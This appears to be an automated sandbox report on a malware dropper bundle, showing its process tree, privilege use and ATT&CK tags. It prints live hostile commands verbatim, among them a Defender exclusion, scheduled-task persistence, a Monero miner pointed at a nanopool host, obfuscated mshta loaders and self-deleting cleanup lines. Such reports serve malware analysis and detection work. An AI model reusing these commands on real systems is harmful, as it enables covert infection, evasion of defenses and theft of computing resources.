pid Process 1840 Tue11bc0507b56295.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 756 Tue118f55232e4.exe Token: SeAssignPrimaryTokenPrivilege 756 Tue118f55232e4.exe Token: SeLockMemoryPrivilege 756 Tue118f55232e4.exe Token: SeIncreaseQuotaPrivilege 756 Tue118f55232e4.exe Token: SeMachineAccountPrivilege 756 Tue118f55232e4.exe Token: SeTcbPrivilege 756 Tue118f55232e4.exe Token: SeSecurityPrivilege 756 Tue118f55232e4.exe Token: SeTakeOwnershipPrivilege 756 Tue118f55232e4.exe Token: SeLoadDriverPrivilege 756 Tue118f55232e4.exe Token: SeSystemProfilePrivilege 756 Tue118f55232e4.exe Token: SeSystemtimePrivilege 756 Tue118f55232e4.exe Token: SeProfSingleProcessPrivilege 756 Tue118f55232e4.exe Token: SeIncBasePriorityPrivilege 756 Tue118f55232e4.exe Token: SeCreatePagefilePrivilege 756 Tue118f55232e4.exe Token: SeCreatePermanentPrivilege 756 Tue118f55232e4.exe Token: SeBackupPrivilege 756 Tue118f55232e4.exe Token: SeRestorePrivilege 756 Tue118f55232e4.exe Token: SeShutdownPrivilege 756 Tue118f55232e4.exe Token: SeDebugPrivilege 756 Tue118f55232e4.exe Token: SeAuditPrivilege 756 Tue118f55232e4.exe Token: SeSystemEnvironmentPrivilege 756 Tue118f55232e4.exe Token: SeChangeNotifyPrivilege 756 Tue118f55232e4.exe Token: SeRemoteShutdownPrivilege 756 Tue118f55232e4.exe Token: SeUndockPrivilege 756 Tue118f55232e4.exe Token: SeSyncAgentPrivilege 756 Tue118f55232e4.exe Token: SeEnableDelegationPrivilege 756 Tue118f55232e4.exe Token: SeManageVolumePrivilege 756 Tue118f55232e4.exe Token: SeImpersonatePrivilege 756 Tue118f55232e4.exe Token: SeCreateGlobalPrivilege 756 Tue118f55232e4.exe Token: 31 756 Tue118f55232e4.exe Token: 32 756 Tue118f55232e4.exe Token: 33 756 Tue118f55232e4.exe Token: 34 756 Tue118f55232e4.exe Token: 35 756 Tue118f55232e4.exe Token: SeDebugPrivilege 1980 Tue11f251db82fb7b.exe Token: SeDebugPrivilege 1696 Tue11141271fbe5877f.exe Token: SeDebugPrivilege 2532 taskkill.exe Token: SeDebugPrivilege 1876 powershell.exe Token: SeDebugPrivilege 2744 taskkill.exe Token: SeDebugPrivilege 3000 2.exe Token: SeDebugPrivilege 2932 PublicDwlBrowser1100.exe Token: SeDebugPrivilege 2840 3590264.exe Token: SeDebugPrivilege 2804 WerFault.exe Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeDebugPrivilege 2724 WerFault.exe Token: SeDebugPrivilege 2420 BearVpn 3.exe Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeDebugPrivilege 2072 8104582.exe Token: SeDebugPrivilege 2524 taskkill.exe Token: SeDebugPrivilege 2848 taskkill.exe Token: SeDebugPrivilege 2264 795168.exe Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeDebugPrivilege 2852 Chrome 5.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1240 Process not Found 1240 Process not Found 2748 ultramediaburner.tmp 1240 Process not Found 1240 Process not Found 1576 setup_2.tmp -
Suspicious use of SendNotifyMessage 12 IoCs
pid Process 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1148 iexplore.exe 1148 iexplore.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1992 wrote to memory of 2028 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 2028 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 2028 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 2028 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 2028 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 2028 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 2028 1992 setup_x86_x64_install.exe 26 PID 2028 wrote to memory of 1820 2028 setup_installer.exe 27 PID 2028 wrote to memory of 1820 2028 setup_installer.exe 27 PID 2028 wrote to memory of 1820 2028 setup_installer.exe 27 PID 2028 wrote to memory of 1820 2028 setup_installer.exe 27 PID 2028 wrote to memory of 1820 2028 setup_installer.exe 27 PID 2028 wrote to memory of 1820 2028 setup_installer.exe 27 PID 2028 wrote to memory of 1820 2028 setup_installer.exe 27 PID 1820 wrote to memory of 1080 1820 setup_install.exe 31 PID 1820 wrote to memory of 1080 1820 setup_install.exe 31 PID 1820 wrote to memory of 1080 1820 setup_install.exe 31 PID 1820 wrote to memory of 1080 1820 setup_install.exe 31 PID 1820 wrote to memory of 1080 1820 setup_install.exe 31 PID 1820 wrote to memory of 1080 1820 setup_install.exe 31 PID 1820 wrote to memory of 1080 1820 setup_install.exe 31 PID 1820 wrote to memory of 1996 1820 setup_install.exe 32 PID 1820 wrote to memory of 1996 1820 setup_install.exe 32 PID 1820 wrote to memory of 1996 1820 setup_install.exe 32 PID 1820 wrote to memory of 1996 1820 setup_install.exe 32 PID 1820 wrote to memory of 1996 1820 setup_install.exe 32 PID 1820 wrote to memory of 1996 1820 setup_install.exe 32 PID 1820 wrote to memory of 1996 1820 setup_install.exe 32 PID 1080 wrote to memory of 1876 1080 cmd.exe 33 PID 1080 wrote to memory of 1876 1080 cmd.exe 33 PID 1080 wrote to memory of 1876 1080 cmd.exe 33 PID 1080 wrote to memory of 1876 1080 cmd.exe 33 PID 1080 wrote to memory of 1876 1080 cmd.exe 33 PID 1080 wrote to memory of 1876 1080 cmd.exe 33 PID 1080 wrote to memory of 1876 1080 cmd.exe 33 PID 1820 wrote to memory of 1536 1820 setup_install.exe 34 PID 1820 wrote to memory of 1536 1820 setup_install.exe 34 PID 1820 wrote to memory of 1536 1820 setup_install.exe 34 PID 1820 wrote to memory of 1536 1820 setup_install.exe 34 PID 1820 wrote to memory of 1536 1820 setup_install.exe 34 PID 1820 wrote to memory of 1536 1820 setup_install.exe 34 PID 1820 wrote to memory of 1536 1820 setup_install.exe 34 PID 1820 wrote to memory of 904 1820 setup_install.exe 35 PID 1820 wrote to memory of 904 1820 setup_install.exe 35 PID 1820 wrote to memory of 904 1820 setup_install.exe 35 PID 1820 wrote to memory of 904 1820 setup_install.exe 35 PID 1820 wrote to memory of 904 1820 setup_install.exe 35 PID 1820 wrote to memory of 904 1820 setup_install.exe 35 PID 1820 wrote to memory of 904 1820 setup_install.exe 35 PID 1820 wrote to memory of 960 1820 setup_install.exe 36 PID 1820 wrote to memory of 960 1820 setup_install.exe 36 PID 1820 wrote to memory of 960 1820 setup_install.exe 36 PID 1820 wrote to memory of 960 1820 setup_install.exe 36 PID 1820 wrote to memory of 960 1820 setup_install.exe 36 PID 1820 wrote to memory of 960 1820 setup_install.exe 36 PID 1820 wrote to memory of 960 1820 setup_install.exe 36 PID 1820 wrote to memory of 1540 1820 setup_install.exe 37 PID 1820 wrote to memory of 1540 1820 setup_install.exe 37 PID 1820 wrote to memory of 1540 1820 setup_install.exe 37 PID 1820 wrote to memory of 1540 1820 setup_install.exe 37 PID 1820 wrote to memory of 1540 1820 setup_install.exe 37 PID 1820 wrote to memory of 1540 1820 setup_install.exe 37 PID 1820 wrote to memory of 1540 1820 setup_install.exe 37 PID 1996 wrote to memory of 1544 1996 cmd.exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1876
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11d7385a978cc.exeTue11d7385a978cc.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1544
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe4⤵
- Loads dropped DLL
PID:1536 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11b9d76a96506.exeTue11b9d76a96506.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:632 -
C:\Users\Admin\AppData\Local\Temp\is-P5272.tmp\Tue11b9d76a96506.tmp"C:\Users\Admin\AppData\Local\Temp\is-P5272.tmp\Tue11b9d76a96506.tmp" /SL5="$50134,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11b9d76a96506.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1972 -
C:\Users\Admin\AppData\Local\Temp\is-L58MC.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-L58MC.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:2288 -
C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe"C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
PID:1572 -
C:\Users\Admin\AppData\Local\Temp\is-6S2GJ.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-6S2GJ.tmp\ultramediaburner.tmp" /SL5="$10242,281924,62464,C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:2748 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
- Executes dropped EXE
PID:2104
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\62-526b7-e1b-bfba6-a83f433dbb8b4\Waeneqyjabo.exe"C:\Users\Admin\AppData\Local\Temp\62-526b7-e1b-bfba6-a83f433dbb8b4\Waeneqyjabo.exe"8⤵
- Executes dropped EXE
PID:2668 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1148 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1148 CREDAT:275457 /prefetch:210⤵
- Modifies Internet Explorer settings
PID:2616
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\23-7b348-30d-43fb7-9e005a2bace23\Serohikaego.exe"C:\Users\Admin\AppData\Local\Temp\23-7b348-30d-43fb7-9e005a2bace23\Serohikaego.exe"8⤵
- Executes dropped EXE
PID:2652 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\le33qcdr.yop\GcleanerEU.exe /eufive & exit9⤵PID:892
-
C:\Users\Admin\AppData\Local\Temp\le33qcdr.yop\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\le33qcdr.yop\GcleanerEU.exe /eufive10⤵PID:3176
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c5xmyb1g.sqo\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:2764
-
C:\Users\Admin\AppData\Local\Temp\c5xmyb1g.sqo\installer.exeC:\Users\Admin\AppData\Local\Temp\c5xmyb1g.sqo\installer.exe /qn CAMPAIGN="654"10⤵PID:3236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p5rk3sns.ptf\anyname.exe & exit9⤵PID:1108
-
C:\Users\Admin\AppData\Local\Temp\p5rk3sns.ptf\anyname.exeC:\Users\Admin\AppData\Local\Temp\p5rk3sns.ptf\anyname.exe10⤵PID:3140
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2sxlfoix.fq3\gcleaner.exe /mixfive & exit9⤵PID:1640
-
C:\Users\Admin\AppData\Local\Temp\2sxlfoix.fq3\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\2sxlfoix.fq3\gcleaner.exe /mixfive10⤵PID:3248
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kgmgr1dw.gbl\autosubplayer.exe /S & exit9⤵PID:3096
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe4⤵
- Loads dropped DLL
PID:904 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11f251db82fb7b.exeTue11f251db82fb7b.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1980 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2604 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2852 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵PID:2752
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:1716
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
- Executes dropped EXE
PID:2268 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:2528
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
PID:2376
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
- Executes dropped EXE
PID:2932
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵PID:2680
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2932 -
C:\Users\Admin\AppData\Roaming\8104582.exe"C:\Users\Admin\AppData\Roaming\8104582.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2072 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2072 -s 16329⤵
- Program crash
PID:3660
-
-
-
C:\Users\Admin\AppData\Roaming\5697799.exe"C:\Users\Admin\AppData\Roaming\5697799.exe"8⤵
- Executes dropped EXE
PID:1720
-
-
C:\Users\Admin\AppData\Roaming\4690056.exe"C:\Users\Admin\AppData\Roaming\4690056.exe"8⤵
- Executes dropped EXE
PID:2204
-
-
-
C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
PID:2960 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit8⤵PID:880
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Alfanewfile2.exe /f9⤵
- Kills process with taskkill
PID:2488
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
PID:2576
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3000 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3000 -s 13928⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2724
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3044 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit8⤵PID:1148
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "setup.exe" /f9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2524
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
PID:2212 -
C:\Users\Admin\AppData\Local\Temp\is-PV24Q.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-PV24Q.tmp\setup_2.tmp" /SL5="$10196,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
PID:2492 -
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
PID:1812 -
C:\Users\Admin\AppData\Local\Temp\is-U97U4.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-U97U4.tmp\setup_2.tmp" /SL5="$20196,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:1576
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
- Executes dropped EXE
PID:1604 -
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
PID:2576
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
PID:2624
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone4⤵
- Loads dropped DLL
PID:960 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue1109eec571ac.exeTue1109eec571ac.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1468 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue1109eec571ac.exe" & exit6⤵PID:2476
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue1109eec571ac.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2532
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe4⤵
- Loads dropped DLL
PID:1540 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11bc0507b56295.exeTue11bc0507b56295.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1840
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe4⤵
- Loads dropped DLL
PID:824 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11e4e580f2e8141a3.exeTue11e4e580f2e8141a3.exe5⤵
- Executes dropped EXE
PID:1596
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe4⤵
- Loads dropped DLL
PID:1336 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11141271fbe5877f.exeTue11141271fbe5877f.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1696 -
C:\ProgramData\3590264.exe"C:\ProgramData\3590264.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2840 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2840 -s 17327⤵
- Program crash
PID:2020
-
-
-
C:\ProgramData\3321391.exe"C:\ProgramData\3321391.exe"6⤵
- Executes dropped EXE
PID:1776 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\3321391.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\3321391.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )7⤵PID:2796
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\3321391.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\3321391.exe" ) do taskkill /Im "%~NxB" /F8⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q9⤵
- Executes dropped EXE
PID:2708 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )10⤵PID:2628
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F11⤵PID:1752
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S10⤵PID:2552
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "3321391.exe" /F9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2848
-
-
-
-
-
C:\ProgramData\795168.exe"C:\ProgramData\795168.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2264
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue118f55232e4.exe4⤵
- Loads dropped DLL
PID:2044 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue118f55232e4.exeTue118f55232e4.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:756 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:2708
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2744
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe4⤵
- Loads dropped DLL
PID:1960 -
C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue112c483dd3245d.exeTue112c483dd3245d.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:320 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 9766⤵
- Loads dropped DLL
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2804
-
-
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2032 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:1824
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2188 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2736
-
-
C:\Users\Admin\AppData\Local\Temp\3073.exeC:\Users\Admin\AppData\Local\Temp\3073.exe1⤵
- Executes dropped EXE
PID:1604
-
C:\Users\Admin\AppData\Local\Temp\3EB6.exeC:\Users\Admin\AppData\Local\Temp\3EB6.exe1⤵PID:2444
-
C:\Users\Admin\AppData\Local\Temp\54B7.exeC:\Users\Admin\AppData\Local\Temp\54B7.exe1⤵PID:332
-
C:\Users\Admin\AppData\Local\Temp\54B7.exeC:\Users\Admin\AppData\Local\Temp\54B7.exe2⤵PID:828
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\6a61953f-1331-4961-b8a6-c789b8cd1b6c" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:3620
-
-
-
C:\Users\Admin\AppData\Local\Temp\7A80.exeC:\Users\Admin\AppData\Local\Temp\7A80.exe1⤵PID:756
-
C:\Users\Admin\AppData\Local\Temp\959F.exeC:\Users\Admin\AppData\Local\Temp\959F.exe1⤵PID:2412
-
C:\Users\Admin\AppData\Local\Temp\DE91.exeC:\Users\Admin\AppData\Local\Temp\DE91.exe1⤵PID:3736
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
1Web Service
1